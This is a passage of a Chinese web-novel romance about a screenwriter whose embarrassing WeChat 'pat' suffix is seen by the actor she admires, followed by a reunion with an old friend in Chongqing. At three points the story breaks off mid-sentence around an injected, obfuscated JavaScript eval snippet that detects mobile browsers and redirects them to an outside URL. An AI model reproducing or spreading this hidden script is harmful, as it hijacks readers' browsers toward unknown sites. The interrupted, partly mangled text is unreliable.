“我靠!!!哈哈哈哈哈哈哈哈哈!”宋枝愣了一秒,随即爆发出惊天动地、毫无同情心的大笑,“朝朝!祝你成功!哈哈哈哈!这真是年度最社死没有之一!” 闻朝听着耳边闺蜜猖狂的笑声,只觉人生灰暗。她勉强自我安慰:“没事的没事的……他可能没仔细看……或者以为是系统bug……” 完了。全完了。她的形象,她小心翼翼维持的“专业编剧”和“理智粉丝”的形象,在这一拍之下,彻底灰飞烟灭。 就在她沉浸在巨大的社死绝望中,思考着是否应该立刻收拾行李逃离重庆、逃离地球时,被她紧紧攥着的手机,又轻轻震动了一下。 她浑身一僵,过了好几秒,才像处理炸弹一样,极其缓慢、极其艰难地,将手机翻过来。屏幕亮着,左上角缩小框里是笑得东倒西歪的宋枝和陆易安。 聊天框里,在那两行令人窒息的拍一拍记录下方,多了一条新的消息。 来自沈淮时。 【沈淮时】:??? 三个清晰的问号,像三把冰冷的小锤子,敲在了她脆弱的心脏上。 看!他看到了!他还发出了疑问!这比直接无视更让她无地自容,仿佛被公开处刑时,法官还特意问了一句:“被告,面对这确凿的证据,你还有什么要交代的吗?” 可下一秒,沈淮时又发来一条消息,只有短短两个字:【抱歉】,后面还跟着一个擦汗的表情包。 他……道歉了? 闻朝愣愣地看着那两个字和一个表情,混乱的大脑一时无法处理这简单的信息。 他为什么道歉?是因为他不小心也拍了回来,触发了那个令人尴尬的后缀吗?还是……他觉得看到了那个后缀,对她造成了困扰? 他是在用这种方式,化解尴尬吗? 隔着屏幕,她无法揣测他真实的情绪。但那句“抱歉”和那个表情,至少没有透露出反感或厌恶,更像是一种……温和的、带点无奈的解围? 紧绷到极致的神经,因为这意料之外的回应,稍微松弛了一点点。但脸颊依旧滚烫,心跳依旧失序。 她盯着屏幕,手指颤抖着,不知道该如何回复。 解释?说自己是手滑?说那个后缀是很久以前设置着玩的? 好像越描越黑。 假装没看见?或者也回一个尴尬的表情? 她手指悬在键盘上,半晌,终于鼓起一点点勇气,一个字一个字地敲: 【闻朝】:……是我先不小心拍到的。不好意思,沈老师。 空气依旧凝固。 不行,不能就这样结束。这解释太单薄了,像在敷衍。她抱着最后一丝“或许还能抢救一下形象”的渺茫希望,闭上眼,硬着头皮,又敲下一行字: 【那个……沈老师,这个拍一拍后缀是很久以前设置的,是我闺蜜拿我手机瞎搞的……你……信吗?】 消息发出去的瞬间,她就后悔得想咬掉舌头。 这解释……苍白无力得连她自己都不信!还“闺蜜拿手机瞎搞的”,简直是把“此地无银三百两”写在脸上!小学生都不会信这么蹩脚的借口!最后的“你信吗”更是蠢得无可救药,直接把选择题抛给了对方! 果然,对面沉默了。 那短短的十秒等待,漫长得像一个世纪。闻朝屏住呼吸,几乎能听到自己心跳如擂鼓。 终于,消息来了。 沈淮时:【嗯】 停顿了一下,又一条。 沈淮时:【那我就……信吧。】 后面还跟了一个憨憨的、挠着头傻笑,带着一脸“我什么都不知道”意味的小熊表情包。 闻朝:“……” 她看着那行字和那个表情,仿佛能透过屏幕,看到沈淮时此刻可能微微挑眉,嘴角勾起一丝极其细微、难以捉摸的弧度,那弧度里或许有无奈,有莞尔,有一点点“看破不说破”的了然,甚至……还有一丝极其罕见的、恶作剧般的调侃。 闻朝最后一丝侥幸心理也烟消云散。 解释就是掩饰,掩饰就是确有其事。 她干脆自暴自弃地将手机丢到床的另一头,把滚烫得快要烧起来的脸深深埋进柔软的枕头里,发出一声沉闷而绝望的、长长的哀鸣。 “啊——!!!!!” 视频那头,宋枝和陆易安的笑声,已经彻底失控,如同海啸般席卷而来。 那声哀鸣闷在枕头里,听起来更像某种小动物垂死的呜咽。 闻朝维持着鸵鸟埋沙的姿势足足一分钟,才像被抽走了全身力气般,慢慢瘫软下来。耳边是自己擂鼓般的心跳和视频那头闺蜜们毫不收敛的狂笑。 世界末日也不过如此了,她绝望地想,甚至开始认真思考现在立刻买机票飞往一个没有网络、没有人认识沈淮时、也没有微信拍一拍功能的偏远星球的可行性。 手机在床的另一头,屏幕顽强地亮着,隐约还能听到宋枝和陆易安压抑不住的笑声透过听筒传来,断断续续,像背景噪音。 她盯着天花板,眼神放空。脑袋里乱糟糟的,一会儿是那行的“喊我沈淮时老婆”,一会儿是沈淮时那三个问号和一句“抱歉”,最后定格在那句“那我就……信吧”和憨憨小熊表情包上。 他到底……是怎么想的? 是真的觉得尴尬,礼貌性解围?还是觉得好笑,顺手逗了她一下?或者……根本就没当回事,只是随手一回? 无数种猜测在脑海里打架,每一种都让她心绪难平。她烦躁地抓了抓头发,最终还是认命地爬起来,挪过去捡起手机。 视频通话还没挂断,宋枝和陆易安已经笑得东倒西歪,宋枝甚至夸张地抹着并不存在的眼泪。 “笑够了吗?”闻朝有气无力地对着镜头翻了个白眼,声音带着自暴自弃的沙哑。 “没……没有……哈哈哈哈……”宋枝揉着肚子,“朝朝啊,你这波操作,我能笑一年……不,笑一辈子!载入史册!” “行了行了,”陆易安稍微收敛了点,但眼角眉梢还残留着笑意,“说正事。那他后来没再说别的了?” “没了。”闻朝把聊天距离截屏发到群里,展示那干净得只剩下社死证据和两句简短对话的聊天框,“就这些。” “啧,”宋枝点开截屏看了看,“这回应……有点东西啊。” “怎么说?”闻朝立刻竖起耳朵,哪怕知道闺蜜的话多半不靠谱,此刻也急需一点外部分析来缓解内心的焦灼。 “你看啊,”宋枝摆出福尔摩斯探案的架势,“首先,他秒回,说明他当时正好在看手机,或者对你……呃,对这个意外事件,反应很快。其次,他先发问号,表示惊讶和疑惑,这是正常反应。但紧接着就道歉,这个就很妙了。” “妙在哪里?”闻朝不解。 “一般来说,看到这种‘老婆’后缀,要么觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276091|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得无语无视,要么觉得被冒犯可能会不高兴。但他道歉了。”陆易安接上话,分析道,“他道歉,可以理解为,他觉得他拍回来的这个动作,连带触发了那个后缀,让你感到尴尬了。这是一种……很体贴的、把责任往自己身上揽一点的行为。” “而且,他后面回的那句‘那我就……信吧’,还有那个小熊表情,”宋枝补充,眼里闪着八卦的光芒,“完全没有生气或者鄙夷的感觉,反而有点……无奈?好笑?甚至……一点点纵容?” “纵容?”闻朝心跳又快了一拍,随即立刻否定,“你们别瞎解读!他就是客气!是礼貌!是化解尴尬的标准话术!” “好好好,是礼貌,是客气。”陆易安从顺着闻朝的话点头,但嘴角的笑意怎么看怎么意味深长,“不过朝朝,经过这么一遭,你们这‘纯洁’的工作关系,是不是……稍微有那么一点点不一样了?” “有什么不一样!”闻朝像被踩了尾巴的猫,“更尴尬了好吧!以后在剧组见面,我还能直视他吗?” “能啊,怎么不能?”宋枝笑嘻嘻地,“你就当什么都没发生过。他要是提起,你就说‘啊?沈老师你说什么?哦那个啊,我闺蜜设置的,已经改掉了。’完美!” “……”闻朝不想说话。并给她一个‘你看我像傻子吗’的眼神。她知道,这件事在她心里,绝对没法“就当没发生过”。 又胡乱聊了几句,在闺蜜们“再接再厉”和“稳住心态”的混合打趣中,闻朝终于挂了视频。 房间里彻底安静下来。窗外的雪似乎停了,霓虹灯光透过玻璃,在墙壁上投下模糊的光影。 她点开沈淮时的聊天框,再次看着那寥寥几句对话。指尖悬在屏幕上方,犹豫再三,还是没有再输入任何字。 解释显得多余,道歉已经说过,再提更是尴尬。 她退出对话框,点开自己的个人信息页面,找到那个“拍一拍”设置,以迅雷不及掩耳之势,将那个让她社会性死亡的后缀删除,改成了最普通无奇的“拍了拍我”。 做完这一切,她放下手机,重新倒回床上。 脸颊的热度还未完全褪去,心绪依旧纷乱。但奇异的是,最初的巨大恐慌和羞耻感,在闺蜜的调侃和那几句简单的对话之后,似乎被冲淡了一些,转化成一种更复杂、更难以言喻的情绪。 仿佛……隔在偶像与粉丝之间那层坚不可摧的、遥不可及的玻璃幕墙,被这不轻不重地“拍”了一下。没有碎裂,却似乎……荡开了一丝极其细微的涟漪。 她知道这涟漪很快就会平复,一切终将回归正轨。明天太阳升起,她依旧是跟组编剧,他依旧是主演沈淮时。他们之间,依然隔着应有的距离。 但今晚这个意外,这个带着荒诞喜剧色彩和巨大尴尬的插曲,或许会成为她记忆里一个独特而隐秘的秘密。 她闭上眼,脑海里却不由自主地浮现出那个小熊挠头傻笑的表情包。 然后,在无人看见的黑暗里,她的嘴角,极其轻微地,向上弯了一下。 虽然过程惨烈……但好像,也不是完全……糟糕? 至少,他知道了。 知道有一个叫闻朝的编剧,曾经,悄悄地把自己的微信拍一拍后缀,设置成了“沈淮时老婆”。 这个认知本身,就像一颗小小的石子投入心湖,荡开的,是连她自己都尚未完全明了的、细密而长久的波纹。 夜色深沉,雪光寂寂。 另一个房间里,沈淮时刚刚结束和经纪人的一通电话,关于一个代言的直播。他放下手机,揉了揉有些发胀的眉心。 房间里只开了一盏落地灯,光线柔和。他走到窗边,看着外面银装素裹的世界。雪后的空气似乎格外清冽,尽管隔着玻璃。 他的目光无意中落到刚刚放下的手机,想起了刚才微信上那场堪称“乌龙”的互动。 他嘴角极轻地扯动了一下,几乎算不上是一个笑容,更像是一种无奈的莞尔。 “迪迦亲哥哥”……“沈淮时老婆”…… 还真是……让人意想不到的组合。 那个小编剧向来安静,认真,在剧本讨论时偶尔会有很亮眼的点子,但大部分时间都像只容易受惊的兔子,存在感不强,眼神却常常很专注,尤其是在他讲戏或者对台词的时候。 他并非迟钝到察觉不到那种目光里蕴含的、超越工作关系的关注。在这个圈子里,这样的目光他见过太多。只是她格外小心翼翼,也格外……笨拙。笨拙到连设置个拍一拍后缀,都这么直白又隐秘,还因为手滑,以这种戏剧性的方式暴露出来。 他几乎能想象到她当时的惊慌失措,恐怕恨不得立刻挖个地洞钻进去。所以他才回了那句“抱歉”,还有那个表情。并非客套,是真的觉得,自己那下意识拍回去的举动,可能加重了她的尴尬。 至于那句“信吧”…… 他当时看着屏幕上她发来的、苍白无力的“闺蜜拿手机瞎搞”的解释,确实觉得有点好笑。那种急于掩饰、却越描越黑的样子,和她平时在剧组里努力维持专业形象的模样,形成了一种奇妙的反差。 信不信,其实并不重要。那只是一种给她,也给自己台阶下的说法。他选择用那种带着点调侃意味的语气和表情回应,是不想把这件事变成一个真正让她难堪的负担。 她是个好作者,也是一个好编剧,有灵气,也认真。 他欣赏认真工作的人。 至于那个后缀背后可能藏着的、更深的心思…… 沈淮时移开视线,望向远处更深的夜色。灯光在他深邃的眼底投下浅浅的阴影,看不清具体的情绪。 在这个浮华又复杂的圈子里,真心是奢侈品,也是易碎品。他见过太多因戏生情,也见过太多因距离而产生的虚幻假象。真真假假,有时候连当事人自己都未必分得清。 他无法确定,她那份“老婆”后缀所代表的情感,有多少是粉丝基于对他这个“沈淮时”公众形象的迷恋,有多少是源于这段时间剧组相处产生的些许好感,又有多少,是真正触及灵魂的懂得与欣赏。 而他自己……此刻并无余力,也不应该,去深入探究一个合作编剧的私人心事。至少,不该是在这样一个因意外而尴尬的夜晚之后。 保持适当的距离,给予应有的尊重和礼貌,是保护自己,也是保护对方。 他关掉落地灯,房间里陷入一片适合睡眠的黑暗。 13. 丢人丢到嘉陵江了 翌日,剧组。 雪无声地下着,落在闻朝微颤的睫毛上,也落在她肩头那片单薄的衣料上。寒意丝丝缕缕地渗透进来,她却似乎浑然不觉,只是怔怔地望着前方空茫的雪夜。 桑华看着她这副模样,眉头皱得更紧了。她不是那种擅长追根究底的人,但闻朝此刻的状态明显不对,不只是简单的“没睡好”。 “怎么了?心情不好?”桑华试探着问,语气放软了些,“跟……工作有关?还是……跟人有关?” 闻朝没有立刻回答。她缓缓抬起手,接住一片完整的雪花。六角冰晶在她温热的掌心迅速消融,只留下一小点湿润的凉意。 跟人有关。 当然是跟人有关。 那个此刻或许还在片场,或许已经坐上保姆车,正驶离这片雪夜的“人”。 “桑华,”闻朝忽然开口,声音被风雪裹挟着,有些飘忽,“如果你不小心……把你偷偷藏了很久的、有点丢人的小心思,暴露给那个心思所系的正主了,你会怎么办?” 桑华愣了一下,随即眼睛微微睁大。她虽然性格大大咧咧,但绝非迟钝。联想到闻朝下午开始的反常,还有刚才面对沈淮时那几乎可以称之为“落荒而逃”的举动…… 一个模糊却惊人的猜想浮上心头。 “你……”桑华压低了声音,凑近些,难以置信地问,“你说的‘正主’,该不会是……沈老师吧?” 闻朝没有承认,也没有否认。她只是垂下眼,看着自己掌心那点迅速消失的水渍,默认的姿态已经说明了一切。 “我的天……”桑华倒吸一口凉气,下意识地环顾四周,仿佛怕有人偷听,“你怎么暴露的?不对,你到底藏了什么‘丢人的小心思’?”问完她又觉得不妥,连忙摆手,“我不是要打听你隐私啊,我就是……有点震惊。你之前不都掩饰得挺好的吗?工作的时候也很专业。” “就是……发生了一点意外。”闻朝含糊地说,社死的具体细节实在难以启齿,“总之,就是被他知道了,或者说,他很可能猜到了。我觉得……他可能觉得我很奇怪,或者很……不专业。” 她的声音越说越低,带着浓浓的自弃。昨晚那短暂的“交流”,沈淮时的反应看似平和,甚至带着点无奈的调侃,但谁知道那不是出于礼貌的掩饰?他那样身处风口浪尖的人,对于粉丝过界的心思,恐怕早已司空见惯,甚至心生戒备。 桑华看着好友这副沮丧又不安的样子,心里也跟着着急起来。她想了想,认真道:“朝朝,你先别自己吓自己。沈老师……他在圈内口碑一直很好,对粉丝虽然保持距离,但很少有高高在上或者不耐烦的时候。就算他真的察觉了什么,只要你不做出格的事情,他应该也不会因此对你有什么看法。你们现在是工作关系,他肯定更看重你的专业能力。” “是吗?”闻朝苦笑,“可我一想到以后还要天天在片场见面,还要讨论剧本,我就……”她就觉得手脚都不知道该往哪里放。 “那你就更得拿出专业的态度啊!”桑华握住她冰凉的手,用力晃了晃,“就用工作证明自己!让他看到,你首先是《骤雪止》的编剧,是一个值得信赖的合作者,然后才是……才是别的什么。把私人情绪收起来,至少在片场,只谈工作。” 把私人情绪收起来。 谈何容易。 但桑华的话像一剂清醒剂,让闻朝混乱的思绪勉强找到了一个支点。是啊,无论如何,工作不能受影响。这是她的第一部影视化作品,倾注了无数心血,不能因为自己的“少女心事”而搞砸。 “嗯。”闻朝深吸了一口冰冷的空气,感觉肺腑都清醒了些,“你说得对。工作第一。” “这就对了嘛!”桑华松了口气,挽住她的胳膊,“走吧,先回酒店,泡个热水澡,好好睡一觉。明天太阳照常升起,你还是那个才华横溢的闻编剧!” 两人互相搀扶着,深一脚浅一脚地往酒店方向走去。风雪似乎小了些,但夜色更沉了。 回到酒店房间,闻朝果然依言放了满满一缸热水。氤氲的热气弥漫开来,暂时驱散了周身的寒意和心头的郁结。她将整个人沉进温暖的水里,闭上眼睛。 脑海中却不受控制地,又浮现出聊天框里那几行字。 【我拍了拍“沈淮时”喊他奥特曼亲哥哥。】 【“沈淮时”拍了拍我喊我沈淮时老婆。】 【沈淮时:???】 【沈淮时:那我就……信吧。】 “啊——”她把脸埋进水里,发出一声闷闷的、懊恼的哀鸣。 真是……丢人丢到嘉陵江了。 泡完澡,身体暖和了,精神却依旧疲惫。她爬上床,把自己裹进被子,强迫自己不再去想。或许是因为身体确实乏了,或许是因为热水澡放松了神经,这一次,她竟很快沉入了睡眠。 只是睡梦里也不安稳。光怪陆离的片段交织,一会儿是沈淮时在片场用那种了然又疏离的眼神看她,一会儿是自己在无数人面前大声宣布“我是沈淮时老婆”,然后惊醒,发现是梦,一身冷汗。 第二天一早,是被设定的闹钟叫醒的。 天气果然如桑华所料,放晴了。阳光透过窗帘缝隙洒进来,虽然没什么温度,却明亮得刺眼。雪后初霁,天空是那种被洗刷过的、干净的湛蓝色。 闻朝坐在床上,发了会儿呆。昨晚的纠结和尴尬,在晨光中似乎褪去了一些尖锐,但那种淡淡的窘迫和无所适从感依然萦绕不去。 她用力拍了拍自己的脸颊。 “闻朝,专业,专业,专业!”她低声给自己打气。 洗漱,换衣,尽量挑选了一套看起来稳重又不失朝气的衣服。站在镜子前,她看着里面那个眼圈仍有些淡青、但眼神已恢复些许清明的自己,深吸一口气。 今天,只是工作的又一天。 来到餐厅,时间尚早,人不多。她取好早餐,下意识地寻找座位,目光却不期然地与刚从取餐区转身的沈淮时撞了个正着。 他今天穿了一件浅灰色的毛衣,衬得肤色愈发白皙,头发似乎没有刻意打理,有些自然的蓬松,整个人看起来比片场少了几分精致,多了几分居家的随意。他手里端着餐盘,正朝一个靠窗的空位走去。 四目相对。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276092|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻朝的心脏猛地一跳,昨晚所有自我建设的心理防线仿佛瞬间出现了裂痕。她几乎是本能地,想移开视线,想假装没看见,想转身另寻座位。 但沈淮时的反应比她快。 他似乎也微微顿了一下,但神色几乎没什么变化,依旧是那副平静温和的样子。他甚至对她点了点头,唇角扬起一个很浅的、惯常的弧度,算是打招呼。然后,他便径直走向他选定的座位,坐下,低头开始用餐,动作自然流畅,仿佛刚才那一眼交汇再平常不过。 没有探究,没有尴尬,没有刻意的疏远,也没有多余的寒暄。 就像……什么特别的事情都没发生过一样。 闻朝愣在原地,足足有两三秒。预想中的各种尴尬场景一个都没出现,对方如此平淡自然的反应,反而让她有些不知所措。 这算什么?是成年人之间心照不宣的“翻篇”?还是他根本没把那件事放在心上,只是她一个人在这里演完了全部的内心戏? 无论如何,他给出的这个“正常”的态度,像一根轻柔却有力的绳索,将她从自我沉浸的尴尬泥沼边缘,稍微拉回来了一点。 她定了定神,也尽量让自己显得平静,挑了一个离他不远不近、既不会显得刻意躲避也不会显得过分靠近的位置坐下。 早餐吃得有些食不知味。她能感觉到自己的后背微微绷紧,眼角的余光总是不受控制地飘向那个方向。沈淮时吃得很专心,偶尔喝一口咖啡,翻看着手机,侧脸在晨光中显得安静而专注。 直到他吃完,起身离开。经过她桌旁时,他似乎脚步微不可察地缓了半分,但没有停留,也没有再看她,就这样走了出去。 闻朝一直等到他的身影消失在餐厅门口,才缓缓地、彻底地松了一口气。紧绷的肩膀垮下来,这才发现手心里竟然沁出了一层薄汗。 接下来的几天,拍摄按部就班地进行。闻朝努力践行着“专业第一”的原则,将全部精力投入到剧本细节的跟进和与导演、演员的沟通中。 在片场,她与沈淮时的交流严格限定在工作范畴:讨论某句台词的语气,确认某个情节的逻辑,沟通顾嘉言某个阶段的心理状态。 沈淮时的态度始终如一:专业、认真、配合。对于她的建议,他会仔细倾听,然后提出自己的想法,交流过程高效而顺畅。他看她的眼神,与看导演、看其他工作人员,似乎并无二致。那晚“拍一拍”引发的微妙波澜,仿佛真的被那场大雪覆盖,了无痕迹。 这种“正常”,渐渐让闻朝也放松下来。或许,真的像桑华说的,只要自己行为得体,工作到位,那些小小的“意外”并不会影响什么。他身处娱乐圈,见过的粉丝千千万,自己这点隐蔽的心思,在他眼中或许根本不值一提,连被记住的资格都没有。 这样也好。她慢慢说服自己。 就这样,保持着适当的距离,完成好这次合作。等电影拍完,各自回到原有的轨道,这段短暂的、带着梦幻色彩的交集,会成为她记忆里一颗特别的星。 偶尔回想,有遗憾,有尴尬,但更多的是庆幸,庆幸曾如此靠近过那颗星星的光芒。 14. 他乡遇故知 下班后,闻朝婉拒了桑华一起吃火锅的邀约,一个人漫无目的地在重庆街头走着。冬日的寒风无孔不入,她紧了紧围巾,低头躲进附近一家大型商场。 暖气扑面而来,驱散了部分寒意。她随意逛着,视线却被商场中庭悬挂的巨大LED屏吸引。 和通常循环播放明星最新宣传照或广告的应援大屏不同,这块屏幕上播放的,是沈淮时刚出道那年的影像合集。 画面里的少年不过十三四岁,脸庞还带着未褪尽的婴儿肥,眼神清澈明亮,对着镜头笑得毫无防备,甚至有些臭屁地仰着头,叉着腰,满脸“快看我厉害吧”的得意劲儿。那是他演艺生涯最初的起点,青涩、鲜活,带着未经雕琢的童真。 闻朝不由自主地停下脚步,仰头望着屏幕上那个久远时空里的少年,微微出神。时光好像在这一刻折叠,将过去与现在连接。屏幕里的他,和如今片场那个沉稳专业的他,重叠又分离。 直到身后传来一个带着迟疑和惊喜的声音,“闻朝?!” 她猛地回神,侧过头,对上一张同样写满惊讶的脸。 黎珩。 在这个陌生的城市,这个飘雪的夜晚,遇见高中时代最亲密的同窗兼“同担”,两个人都愣住了,随即,巨大的惊喜在彼此眼中炸开。 “好久不见,黎珩。”闻朝的声音带着一丝不易察觉的颤抖。真的好久不见了,上一次见面似乎还是高考结束的夏天,如今大学都快毕业了。眼前的黎珩,早已褪去了高中时的青涩懵懂,眉眼间多了几分成熟与干练,但那份熟悉的笑意依然未变。 “好久不见,闻朝。”黎珩的眼眸弯成月牙,看得出是真心实意的高兴。他乡遇故知,人生乐事莫过于此。 两人就近找了家安静的咖啡馆坐下,点了两杯热拿铁。氤氲的热气升腾,隔开了窗外的寒冷,也仿佛模糊了时间的界限。她们迫不及待地分享着分别这些年各自的生活碎片,琐碎而温暖。 “怎么突然来重庆了?”黎珩抿了口咖啡,好奇地问。 “工作,跟剧组。”闻朝简单带过,反问道,“你呢?怎么也在这儿?” 黎珩的目光投向窗外,远处商场大屏上,少年沈淮时的影像依旧在循环播放。她笑了笑,那笑容里带着些许追忆和感慨,“以前总说,要亲自来重庆,走一走他走过的路,看一看他看过的风景。拖了很久,这次终于下定决心来了。” 闻朝的心蓦地一沉,泛起一丝难以言喻的心虚。高中时,她们是并肩作战的“蟹钳草”,分享着关于沈淮时的每一条资讯,每一份喜悦。如今,自己阴差阳错,竟能如此近距离地接触到他,参与他的工作,而黎珩,依旧隔着屏幕,完成一场计划已久的“朝圣”。 这份际遇的落差,让她在面对旧友纯粹的目光时,竟有些不敢直视。 她下意识地从随身的包里,摸出一张东西。那是前几天她犹豫了很久,最终还是小心翼翼收起来的、沈淮时签在剧本扉页上的名字。本来是留作自己最私密的纪念,此刻却觉得,或许它能有更合适的去处。 “这个……送给你。”闻朝将那张签有“沈淮时”三个俊逸字迹的纸轻轻推到黎珩面前,声音有些嘶哑,“我目前……只有这个。等以后……有机会的话,我再……” 话没说完,便被黎珩轻轻打断了。 “闻朝,我知道的。”黎珩拿起那张签名,指尖拂过上面的字迹,眼神里没有嫉妒,只有真诚的敬佩和温暖的回忆,“你做到了,闻朝。高中那会儿你就总说,以后要写出很棒的故事,要请他来演。你看,你真的做到了。” 她抬起眼,目光清澈地望向闻朝,“你很厉害。在追逐他的同时,你自己也变成了更好、更闪闪发光的人。” 这句话像一颗投入心湖的石子,激起的涟漪直抵闻朝心里最柔软的地方。鼻子蓦地一酸,眼眶瞬间发热。 那些独自伏案写作的深夜,那些反复修改的焦灼,那些面对机会时的紧张与期待……似乎都在好友这句轻描淡写的肯定里,找到了意义。 “你最近怎么样?”黎珩换了个话题,仔细端详着闻朝的脸,感叹道,“变化真大,我看了好一会儿才敢认。但有些东西,又好像一点没变。” 闻朝眨了眨眼,压下眼底的湿意,也仔细看着黎珩,“你变化才不大,还是爱笑爱闹的样子。”她顿了顿,忽然失笑,“我们这样,好像小说里久别重逢的主角。” “哈哈哈,别说,还真有点那味儿!”黎珩托着腮,眼底燃起熟悉的、属于“同担”之间的八卦之火,她清了清嗓子,压低声音,“那个……听说沈淮时正在重庆拍戏,就是你写的那本,对吧?那你岂不是……能天天见到真人?快,满足一下老友的好奇心,他本人是不是真的帅得人神共愤,要比镜头上的他更好看?私下性格怎么样?是不是真的像传说中那么好?” 闻朝被她的样子逗乐了,方才那点莫名的疏离和心虚消散了不少。她不好意思地抿了抿唇,回想着这些天的接触,“嗯……是很好看。私下……有时候挺安静的,但有时候,也挺有趣的,感觉和以前……没太大变化。” 她谨慎地挑选着词汇,分享了几件无关紧要的片场小事。 故人重逢,聊的无非是旧事与故人。她们都没有刻意避讳谈起沈淮时,谈起那段共同燃烧过的、炽热的青春。 喜欢依旧在,只是随着年龄增长,那份喜欢渐渐沉淀,多了理解和包容,不再像少年时那样,带着近乎偏执的占有欲。 “闻朝,”黎珩慢慢搅动着杯底残余的咖啡,瓷器碰撞发出清脆的微响,她的语气变得认真而温和,“有机会的话,再带我去见见他吧。不是以粉丝的身份,是以……你朋友的身份。” 她顿了顿,望向闻朝的眼睛,里面盛满了纯粹的祝福:“闻朝,我是真的,真心希望你能如愿以偿。” 不管是以粉丝的身份,祝愿偶像星途璀璨; 还是以朋友的身份,盼望挚友得偿所愿。 闻朝听懂了她的言外之意,心脏被暖流包裹,重重点头,“嗯。也祝你,前程似锦,一切顺利。” 两个多年未见的老友,在这个飘雪的重庆夜晚,聊了很久。直到夜色深浓,不得不分别。在商场门口,她们用力拥抱,然后挥手道别,以一句轻快的“后会有期”作为今夜温暖的注脚,也作为各自奔赴下一段人生旅程的开篇。 —— 与黎珩分别后,闻朝独自打车回酒店。山城因连日暴雪,街道显得格外冷清,偶尔有车辆和行人匆匆掠过,都带着一股急于归家的焦急。 车子在酒店门口停下。闻朝推开车门,凛冽的寒气夹杂着雪气扑面而来,她忍不住打了个哆嗦,迅速搓了搓冻得发麻的手,朝掌心哈了口白气,但这点暖意转瞬即逝。 她缩着脖子,加快脚步,几乎是小跑着冲进了酒店灯火通明的大堂。 温暖的气息瞬间将她包裹。她站在旋转门内侧,轻轻跺掉靴子上的雪。浅蓝色的棉服上沾着的雪花,在暖气中迅速融化成深色的水渍。 她没有立刻往里走,就站在门边,隔着玻璃看向空旷的大堂。这个时间点,几乎没什么客人,只有前台值班的小姑娘,似乎有些无聊,正操作着电脑外放音乐。 轻柔的旋律流淌出来,是一首关于离别与思念的慢情歌,歌词缠绵悱恻。在这寂静的雪夜,暖气充足的豪华大堂里,这歌声非但不显温馨,反而因窗外无边的寒冷与黑暗,平添了一丝难以言说的、孤独的悲情意味。 闻朝摸出手机,屏幕冷冷清清,除了微信运动和支付通知,没有任何新消息。意料之中的寂寥,却还是带来一丝细微的失落。这样的寒夜,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276093|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的时间,大家自然都在温暖的被窝里,与周公相会,或与亲近的人分享时光。 她轻轻呼出一口气,白色的雾气在眼前短暂停留。不再停留,她抬步向电梯间走去。 经过前台时,值班的女孩抬起头,认出她是剧组长住的客人,礼貌地微笑问候:“闻小姐,晚上好。刚回来吗?外面很冷吧?” 女孩年轻的脸庞上带着真诚的关切,在这空旷安静的大堂里,这份陌生的问候显得格外有温度。 “嗯,去见了个朋友。”闻朝回以微笑,声音里带着奔波后的淡淡疲惫。 “闻小姐,我们餐厅现在还有宵夜和甜品供应,如果您需要,可以让他们送到房间。”女孩热心地补充,眼神里流露出对这个深夜独自归来的年轻女孩的善意。 闻朝本想拒绝,但看着对方清澈的眼睛,到嘴边的话变成了,“好的,谢谢。麻烦送一碗清淡的面条就好。” “不客气,您稍等,马上安排。”女孩利落地拿起内部电话。 世上还是好人多。闻朝心里滑过这个念头,感觉身上的寒意似乎又驱散了一些。 电梯无声上行,走廊空旷寂静,只有她自己的脚步声。刷开房门,将背包随手扔在桌上,闻朝整个人陷进柔软的床铺里,长长地舒了口气。疲惫感后知后觉地涌上来,不仅仅是身体的,还有情绪起伏后的倦怠。 脸上没什么血色,眼底带着淡淡的青影。 “叮咚——” 门铃响起。闻朝这才想起自己点了宵夜。她起身开门,门外站着酒店的服务生,推着餐车。 “闻小姐晚上好,这是您点的鸡汤面,还有酒店附赠的甜品和姜茶。姜茶驱寒,请您趁热用。”服务生态度恭谨周到,将餐点一一摆放好。 “谢谢,麻烦你们了。”闻朝接过,心头微暖。 就在服务生离开,她正准备关门时,对面一直空着的房间门,忽然“咔哒”一声,从里面打开了。 闻朝下意识抬头,直直撞进一双熟悉的眼眸。 沈淮时? 她瞬间愣住。这一层不是演员的楼层,她记得演员们基本都安排在九楼。而且她对面的房间一直是空着的…… “你……”闻朝不自觉地紧张起来,手指捏紧了门把手,一种类似“晚归被家长抓包”的心虚感莫名升起。 沈淮时显然也没料到会在这个时间、这个地点看到她。他穿着舒适的深色家居服,头发有些凌乱,脸色在廊灯下显得不太健康,嘴唇没什么血色。 “你还没休息?”他先开口,声音有些低哑,目光落在她还未来得及脱下的外出棉服上。 